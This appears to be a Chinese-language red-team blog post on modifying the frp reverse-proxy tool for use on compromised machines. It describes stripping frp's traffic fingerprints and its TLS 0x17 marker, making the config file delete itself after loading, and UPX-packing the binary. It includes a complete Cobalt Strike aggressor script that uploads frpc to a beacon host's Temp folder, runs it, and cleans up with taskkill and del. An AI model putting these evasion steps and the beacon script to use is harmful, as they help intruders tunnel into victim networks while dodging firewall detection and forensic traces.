前言
此篇不是最終版,后續會重新整理測試完善
0x01 原理
https://blog.csdn.net/RivenDong/article/details/102872132
0x02 實戰使用
0x03 修過記錄
1.流量特征
路徑:/pkg/msg/msg.go

上面得注釋說的很清楚 當客戶端連接時 會發送這些信息給服務端

可以按照這樣修改其中的值
2.加密、壓縮傳輸流量
frpc.ini中配置加上:
**use_encryption = true
**use_compression = true
如果公司內網防火牆對外網訪問進行了流量識別與屏蔽,例如禁止了 ssh 協議等,通過設置 use_encryption = true,將 frpc 與 frps 之間的通信內容加密傳輸,將會有效防止流量被攔截。
如果傳輸的報文長度較長,通過設置 use_compression = true 對傳輸內容進行壓縮,可以有效減小 frpc 與 frps 之間的網絡流量,加快流量轉發速度,但是會額外消耗一些 cpu 資源。
tls_enable = true
從 v0.25.0 版本開始 frpc 和 frps 之間支持通過 TLS 協議加密傳輸。通過在 frpc.ini 的 common 中配置 tls_enable = true 來啟用此功能,安全性更高。
為了端口復用,frp 建立 TLS 連接的第一個字節為 0x17。
通過將 frps.ini 的 [common] 中 tls_only 設置為 true,可以強制 frps 只接受 TLS 連接。
注意: 啟用此功能后除 xtcp 外,不需要再設置 use_encryption。
3.修改0x17特征
當使用tls加密的時候,觀察流量有一個固定特征是 開頭會發一個0x17
這里修改tls.go邏輯去特征:
0.37路徑是/frp-0.37.0/pkg/util/net/tls.go


驗證無問題

4. 隱藏frpc.ini 加載后刪除
參考文章中提到三種方法
1.加上命令行參數
這種查命令其實還是容易被發現
2.遠程加載配置文件
這樣需要通過域名或者ip解析遠程加載,也需要花時間隱藏
3.執行后刪除frpc.ini
這種方法比直接在源碼中寫死更靈活,也能很有效的隱藏
步驟:
修改文件/frp/cmd/frpc/sub/root.go文件
加上變量

注冊參數(默認true 直接刪除,可以在配置文件中修改)

最下面的serverstart函數中加上

檢查語法 無報錯

5. 生成
直接運行目錄下package.sh腳本 交叉編譯生成 前提是go和gcc安裝好

客戶端運行后 frpc.ini 直接刪除


0x04 CS插件聯動frp
1.upx加殼
考慮到編譯生成的frpc.exe比較大,傳的有點費勁 就使用upx壓縮加殼一下

也可以在linux中upx -9
(這里有些文章的大佬 還提到了upx加殼后修改特征,這個就是另一個研究方向了,本篇不深入了)
2.編寫cna腳本
這里的腳本參考xq17師傅修改的。
我配置的是運行后自動刪除ini文件,所以右鍵上傳的時候 也把ini傳上去

運行和刪除部分,這里直接運行命令了就。刪除部分,特地加了刪除ini 如果沒啟動成功的話 也把ini文件刪除 比較保險

popup beacon_bottom {
menu "Frp Proxy"{
item "Upload" {
$bid = $1;
$dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
drow_text($dialog, "UploadPath", "path: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub upload {
# switch to specify path
bcd($bid, $3['UploadPath']);
bsleep($bid, 0 ,0);
if (-is64 $bid['id']) {
bupload($bid, script_resource("scripts/frpc.exe"));
bupload($bid, script_resource("scripts/frpc.ini"));
}else{
bupload($bid, script_resource("scripts/frpc.ini"));
bupload($bid, script_resource("scripts/frpc.exe"));
}
show_message("Executing cmmand!");
}
item "Run"{
$bid = $1;
$dialog = dialog("Run frpc", %(uri => "frpc.exe -c frpc.ini || remove the frpc.ini", bid => $bid), &run);
drow_text($dialog, "uri", "configURI: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub run{
local('$Uri');
$Uri = $3['uri'];
bshell($bid, "frpc.exe -c frpc.ini ");
show_message("Executing cmmand!");
bsleep($bid, 5, 0);
}
item "Delete" {
# local("bid");
bshell($1, "taskkill /f /t /im frpc.exe && del /f /s /q frpc.exe");
bshell($1, "del /f /s /q frpc.ini");
}
}
}
}
3.同目錄放frpc
這個目錄下的scripts中放frpc.exe和frpc.ini,也可以修改腳本
然后cs客戶端中直接加載cna即可

這里也可以利用cs目錄中的agscript 在服務端加載cna腳本 ,或者遠程加載,這樣每個客戶端就都能使用了
姿勢多多
4.測試

默認是這個路徑

測試3m大概需要50s


右鍵直接run


配置文件已刪除

測試無問題

參考
https://www.yuque.com/zirc0n/escbhg/xclhd4
https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html
https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html
